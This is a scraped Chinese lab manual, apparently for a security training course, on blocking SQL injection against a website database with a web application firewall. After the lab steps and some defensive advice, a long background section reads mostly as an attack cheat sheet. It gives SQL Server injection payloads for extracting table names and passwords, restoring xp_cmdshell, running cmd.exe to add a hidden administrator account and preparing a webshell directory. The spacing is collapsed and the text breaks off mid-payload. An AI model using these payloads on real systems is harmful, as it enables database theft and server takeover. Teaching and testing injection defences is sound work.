06网站数据库入侵防护实训.docx

上传人:b****8 文档编号:9580710 上传时间:2023-02-05 格式:DOCX 页数:25 大小:1.01MB
下载 相关 举报
06网站数据库入侵防护实训.docx_第1页
第1页 / 共25页
06网站数据库入侵防护实训.docx_第2页
第2页 / 共25页
06网站数据库入侵防护实训.docx_第3页
第3页 / 共25页
06网站数据库入侵防护实训.docx_第4页
第4页 / 共25页
06网站数据库入侵防护实训.docx_第5页
第5页 / 共25页
点击查看更多>>
下载资源
资源描述

06网站数据库入侵防护实训.docx

《06网站数据库入侵防护实训.docx》由会员分享,可在线阅读,更多相关《06网站数据库入侵防护实训.docx(25页珍藏版)》请在冰豆网上搜索。

06网站数据库入侵防护实训.docx

06网站数据库入侵防护实训

实训五网站数据库入侵防护实训

一、实训目的

1、了解基本的网站数据库攻击方法;

2、掌握WAF防护网站数据库入侵的配置方法。

二、应用环境

经过前面的实训我们已经了解和掌握了WAF的功能和基本配置,本次实训我们将针对网站数据库安全,进行模拟攻击防护。

三、实训设备

1、WAF设备1台

2、PC机2台

3、双绞线(直通)2根

四、实训拓扑

透明部署模式

五、实训要求

1、按照拓扑连接网络

2、按照拓扑中的IP地址配置设备IP

六、实训步骤

第一步:

将保护网站添加到WAF站点管理中,登录WAF设备,左侧功能树进入站点->站点管理,点击新建按钮

输入web服务器IP地址和端口,点击确定,将网站加入WAF保护中

注意:

此步骤中策略集选择“无”

第二步:

在PC机1上使用浏览器访问PC机2上的网站,可以正常访问

第三步:

通过SQL注入攻击工具啊D,扫描网站,看是否存在SQL注入漏洞

从上图中可以看到,网站存在SQL注入

第四步:

查找网站的后台管理登录入口,首先使用最常用的用户名admin密码admin进行登录

发现报错

使用SQL注入语句进行注入登录,用户名输入’or1=1or’密码任意

点击登录,发现登录成功

通过以上步骤,我们已通过网站的数据库漏洞成功登录网站的后台管理

第五步:

在WAF上启用SQL注入防护功能

上一实训中我们已经讲述了怎么使用web防护功能,这里我们不再赘述,我们使用默认的攻击阻止策略集,进入站点->站点管理->修改要保护的web网站->点击确定

第六步:

再次使用SQL注入语句对网站数据库进行攻击,首先使用最常用的用户名admin密码admin进行正常登录

发现报错

使用SQL注入语句进行注入登录,用户名输入’or1=1or’密码任意

点击登录,发现攻击被阻断,并出现请不要进行web攻击的提示

通过以上步骤,说明WAF已经成功阻断了本次对网站数据库的攻击

七、注意事项和排错

1、需要将保护网站添加到WAF保护中,才能够保护生效。

2、攻击不能被阻止时,首先清空浏览器缓存,然后检查防护规则是否被成功应用。

八、配置序列

九、共同思考

1、网站数据库漏洞对网站的危害?

2、通过啊D注入工具能否进一步注入?

一十、课后练习

1、尝试其他SQL注入语句,进行SQL注入攻击?

2、更改相应的防护规则,比如SQL注入时间,只防护上午8:

00-10:

00的SQL注入攻击?

一十一、知识背景

SQL注入式攻击,就是攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令。

在某些表单中,用户输入的内容直接用来构造(或者影响)动态SQL命令,或作为存储过程的输入参数,这类表单特别容易受到SQL注入式攻击。

什么时候最易受到sql注入攻击

  当应用程序使用输入内容来构造动态sql语句以访问数据库时,会发生sql注入攻击。

如果代码使用存储过程,而这些存储过程作为包含未筛选的用户输入的字符串来传递,也会发生sql注入。

sql注入可能导致攻击者使用应用程序登陆在数据库中执行命令。

相关的SQL注入可以通过测试工具pangolin进行。

如果应用程序使用特权过高的帐户连接到数据库,这种问题会变得很严重。

在某些表单中,用户输入的内容直接用来构造动态sql命令,或者作为存储过程的输入参数,这些表单特别容易受到sql注入的攻击。

而许多网站程序在编写时,没有对用户输入的合法性进行判断或者程序中本身的变量处理不当,使应用程序存在安全隐患。

这样,用户就可以提交一段数据库查询的代码,根据程序返回的结果,获得一些敏感的信息或者控制整个服务器,于是sql注入就发生了。

如何防止SQL注入

  归纳一下,主要有以下几点:

  1.永远不要信任用户的输入。

对用户的输入进行校验,可以通过正则表达式,或限制长度;对单引号和双"-"进行转换等。

  2.永远不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。

  3.永远不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。

  4.不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。

  5.应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装

6.sql注入的检测方法一般采取辅助软件或网站平台来检测,软件一般采用sql注入检测工具jsky,网站平台就有亿思网站安全平台检测工具。

注入大致方法:

方法1

  先猜表名

  And(Selectcount(*)from表名)<>0

  猜列名

  And(Selectcount(列名)from表名)<>0

  或者也可以这样

  andexists(select*from表名)

  andexists(select列名from表名)

  返回正确的,那么写的表名或列名就是正确

  这里要注意的是,exists这个不能应用于猜内容上,例如andexists(selectlen(user)fromadmin)>3这样是不行的现在很多人都是喜欢查询里面的内容,一旦iis没有关闭错误提示的,那么就可以利用报错方法轻松获得库里面的内容,获得数据库连接用户名:

;anduser>0"重点在anduser>0,我们知道,user是SQLServer的一个内置变量,它的值是当前连接的用户名,类型为nvarchar。

拿一个nvarchar的值跟int的数0比较,系统会先试图将nvarchar的值转成int型,当然,转的过程中肯定会出错,SQLServer的出错提示是:

将nvarchar转换int异常,XXXX不能转换成int",报错的原理就是利用SQLserver内置的系统表进行转换查询,转换过程会出错,然后就会显示出在网页上,另外还有类似的and1=(selettop1userfromadmin),这种语句也是可以爆出来的。

;anddb_name()>0则是暴数据库名。

一旦关闭了IIS报错,那么还可以用union(联合查询)来查内容,主要语句就是

  Orderby10

  And1=2unionselect1,2,3,4,5,6,7,8,9,10fromadmin

  And1=2unionselect1,2,3,user,5,passwd,7,8,9,10fromadmin

  上面的orderby10主要就是查字段数目,admin就是表名,可以自己猜,user,passwd是列名,反正就是返回正确即对,返回异常即错,另外还有十分常用的ascll码拆半法

先要知道指定列名,例如user里的内容的长度and(selectlen(user)fromadmin)=2就是查询长度为不为2位,返回错误的增加或减少数字,一般这个数字不会太大,太大的就要放弃了,猜也多余后面的逻辑符号可以根据不同要求更改的,>大于<小于=就是等于咯,更新语句的话,=也可以表示传递符号<>就是不等,知道了长度后就可以开始猜解了And(Selecttop1asc(mid(user,n,1))fromadmin)>100,n就是猜解的表名的第几位,最后的长度数字就是刚才猜解出来的列名长度了,And(Selecttop1asc(mid(user,1,1))fromadmin)>100就是猜解user里内容的第一位的ASCLL字符是不是大于100正确的话,那么表示USER第一个字符的ASCLL码大于100,那么就猜>120,返回错误就是介于100-120之间,然后再一步一步的缩少,最终得到正确字符XXX,然后用ASCLL转换器吧这个转换成普通字符就可以了然后就是第二位And(Selecttop1asc(mid(user,2,1))fromadmin)>100一直猜下去,加在url后面,列名表名还是先猜解,返回正确的代表帐号的ascll码大于100,那么就再向前猜,指导报错,把猜出来的ascll码拿去ascll转换器转换就可以了,中文是负数,加上asb取绝对值And(Selecttop1asb(asc(mid(user,n,1)))fromadmin)>15320得到之后就记得在数字前加-号,不然ASCLL转换器转换不来的,中文在ASCLL码里是-23423这样的,所以猜起来挺麻烦。

  这个猜解速度比较慢,但是效果最好,最具有广泛性

方法2

  后台身份验证绕过漏洞,验证绕过漏洞就是'or'='or'后台绕过漏洞,利用的就是AND和OR的运算规则,从而造成后台脚本逻辑性错误

  例如管理员的账号密码都是admin,那么再比如后台的数据库查询语句是

  user=request("user")

  passwd=request("passwd")

 sql='selectadminfromadminbatewhereuser='&'''&user&'''&'andpasswd='&'''&passwd&'''

  那么我使用'or'a'='a来做用户名密码的话,那么查询就变成了

  selectadminfromadminbatewhereuser=''or'a'='a'andpasswd=''or'a'='a'

  这样的话,根据运算规则,这里一共有4个查询语句,那么查询结果就是假or真and假or真,先算and再算or,最终结果为真,这样就可以进到后台了

  这种漏洞存在必须要有2个条件,第一个:

在后台验证代码上,账号密码的查询是要同一条查询语句,也就是类似

  sql="select*fromadminwhereusername='"&username&'&"passwd='"&passwd&'

  如果一旦账号密码是分开查询的,先查帐号,再查密码,这样的话就没有办法了。

  第二就是要看密码加不加密,一旦被MD5加密或者其他加密方式加密的,那就要看第一种条件有没有可以,没有达到第一种条件的话,那就没有戏了

方法3

  防御方法

  对于怎么防御SQL注入呢,这个网上很多,我这里讲几个

  如果自己编写防注代码,一般是先定义一个函数,再在里面写入要过滤的关键词,如select;“”;form;等,这些关键词都是查询语句最常用的词语,一旦过滤了,那么用户自己构造提交的数据就不会完整地参与数据库的操作。

  当然如果你的网站提交的数据全部都是数字的,可以使用小竹提供的方法

  FunctionSafeRequest(ParaName,ParaType)

  '---传入参数---

  'ParaName:

参数名称-字符型

  'ParaType:

参数类型-数字型(1表示以上参数是数字,0表示以上参数为字符)

  DimParaValue

  ParaValue=Request(ParaName)

  IfParaType=1then

  IfnotisNumeric(ParaValue)then

  Response.write"参数"&ParaName&"必须为数字型!

"

  Response.end

  Endif

  Else

  ParaValue=replace(ParaValue,"'","''")

  Endif

  SafeRequest=ParaValue

  Endfunction

  然后就用SafeRequest()来过滤参数,检查参数是否为数字,不是数字的就不能通过。

  1.判断有无注入点

  ;and1=1and1=2

  2.猜表一般的表的名称无非是adminadminuseruserpasspassword等..

  and0<>(selectcount(*)from*)

  and0<>(selectcount(*)fromadmin)---判断是否存在admin这张表

  3.猜帐号数目如果遇到0<返回正确页面1<返回错误页面说明帐号数目就是1个

  and0<(selectcount(*)fromadmin)

  and1<(selectcount(*)fromadmin)

  4.猜解字段名称在len()括号里面加上我们想到的字段名称.

  and1=(selectcount(*)fromadminwherelen(*)>0)--

  and1=(selectcount(*)fromadminwherelen(用户字段名称name)>0)

  and1=(selectcount(*)fromadminwherelen(密码字段名称password)>0)

  5.猜解各个字段的长度猜解长度就是把>0变换直到返回正确页面为止

  and1=(selectcount(*)fromadminwherelen(*)>0)

  and1=(selectcount(*)fromadminwherelen(name)>6)错误

  and1=(selectcount(*)fromadminwherelen(name)>5)正确长度是6

  and1=(selectcount(*)fromadminwherelen(name)=6)正确

  and1=(selectcount(*)fromadminwherelen(password)>11)正确

  and1=(selectcount(*)fromadminwherelen(password)>12)错误长度是12

  and1=(selectcount(*)fromadminwherelen(password)=12)正确

  6.猜解字符

  and1=(selectcount(*)fromadminwhereleft(name,1)=a)---猜解用户帐号的第一位

  and1=(selectcount(*)fromadminwhereleft(name,2)=ab)---猜解用户帐号的第二位

  就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了

  and1=(selecttop1count(*)fromAdminwhereAsc(mid(pass,5,1))=51)--

  这个查询语句可以猜解中文的用户和密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.

  groupbyusers.idhaving1=1--

  groupbyusers.id,users.username,users.password,users.privshaving1=1--

  ;insertintousersvalues(666,attacker,foobar,0xffff)--

UNIONSELECTTOP1COLUMN_NAMEFROMINFORMATION_SCHEMA.COLUMNSWHERETABLE_NAME=logintable-

UNIONSELECTTOP1COLUMN_NAMEFROMINFORMATION_SCHEMA.COLUMNSWHERETABLE_NAME=logintableWHERECOLUMN_NAMENOTIN

  (login_id)-

UNIONSELECTTOP1COLUMN_NAMEFROMINFORMATION_SCHEMA.COLUMNSWHERETABLE_NAME=logintableWHERECOLUMN_NAMENOTIN

  (login_id,login_name)-

  UNIONSELECTTOP1login_nameFROMlogintable-

  UNIONSELECTTOP1passwordFROMlogintablewherelogin_name=Rahul--

  看服务器打的补丁=出错了打了SP4补丁

  and1=(select@@VERSION)--

  看数据库连接账号的权限,返回正常,证明是服务器角色sysadmin权限。

  and1=(SELECTIS_SRVROLEMEMBER(sysadmin))--

  判断连接数据库帐号。

(采用SA账号连接返回正常=证明了连接账号是SA)

  andsa=(SELECTSystem_user)--

  anduser_name()=dbo--

  and0<>(selectuser_name()--

  看xp_cmdshell是否删除

  and1=(SELECTcount(*)FROMmaster.dbo.sysobjectsWHERExtype=XANDname=xp_cmdshell)--

  xp_cmdshell被删除,恢复,支持绝对路径的恢复

  ;EXECmaster.dbo.sp_addextendedprocxp_cmdshell,xplog70.dll--

  ;EXECmaster.dbo.sp_addextendedprocxp_cmdshell,c:

\inetpub\wwwroot\xplog70.dll--

  反向PING自己实验

  ;usemaster;declare@sint;execsp_oacreate"wscript.shell",@sout;execsp_oamethod@s,"run",NULL,"cmd.exe/cping192.168.0.1";--

  加帐号

  ;DECLARE@shellINTEXECSP_OACREATEwscript.shell,@shellOUTPUTEXECSP_OAMETHOD@shell,run,null,C:

\WINNT\system32\cmd.exe

  /cnetuserjiaoniang$1866574/add--

  创建一个虚拟目录E盘:

  ;declare@ointexecsp_oacreatewscript.shell,@ooutexecsp_oamethod@o,run,NULL,cscript.exec:

\inetpub\wwwroot\mkwebdir.vbs-w"默认Web站点"-v"e","e:

\"--

  访问属性:

(配合写入一个webshell)

  declare@ointexecsp_oacreatewscript.shell,@ooutexecsp_oamethod@o,run,NULL,cscript.exec:

\inetpub\wwwroot\chaccess.vbs-aw3svc/1/ROOT/e+browse

  爆库特殊技巧:

:

%5c=\或者把/和\修改%5提交

  and0<>(selecttop1pathsfromnewtable)--

  得到库名(从1到5都是系统的id,6以上才可以判断)

  and1=(selectnamefrommaster.dbo.sysdatabaseswheredbid=7)--

  and0<>(selectcount(*)frommaster.dbo.sysdatabaseswherename>1anddbid=6)

  依次提交dbid=7,8,9....得到更多的数据库名

  and0<>(selecttop1namefrombbs.dbo.sysobjectswherextype=U)暴到一个表假设为admin

  and0<>(selecttop1namefrombbs.dbo.sysobjectswherextype=Uandnamenotin(Admin))来得到其他的表。

  and0<>(selectcount(*)frombbs.dbo.sysobjectswherextype=Uandname=admin

  anduid>(str(id)))暴到UID的数值假设为18779569uid=id

  and0<>(selecttop1namefrombbs.dbo.syscolumnswhereid=18779569)得到一个admin的一个字段,假设为user_id

  and0<>(selecttop1namefrombbs.dbo.syscolumnswhereid=18779569andnamenotin

  (id,...))来暴出其他的字段

  and0<(selectuser_idfromBBS.dbo.adminwhereusername>1)可以得到用户名

  依次可以得到密码。

假设存在user_idusername,password等字段

  and0<>(selectcount(*)frommaster.dbo.sysdatabaseswherename>1anddbid=6)

  and0<>(selecttop1namefrombbs.dbo.sysobjectswherextype=U)得到表名

  and0<>(selecttop1namefrombbs.dbo.sysobjectswherextype=Uandnamenotin(Address))

  and0<>(selectcount(*)frombbs.dbo.sysobjectswherextype=Uandname=adminanduid>(str(id)))判断id值

  and0<>(selecttop1namefromBBS.dbo.syscolumnswhereid=773577794)所有字段

  ?

id=-1unionselect1,2,3,4,5,6,7,8,9,10,11,12,13,*fromadmin

  ?

id=-1unionselect1,2,3,4,5,6,7,8,*,9,10,11,12,13fromadmin(union,access也好用)

  得到WEB路径

  ;createtable[dbo].[swap]([swappass][char](255));--

  and

展开阅读全文
相关资源
猜你喜欢
相关搜索

当前位置:首页 > 医药卫生 > 临床医学

copyright@ 2008-2022 冰豆网网站版权所有

经营许可证编号:鄂ICP备2022015515号-1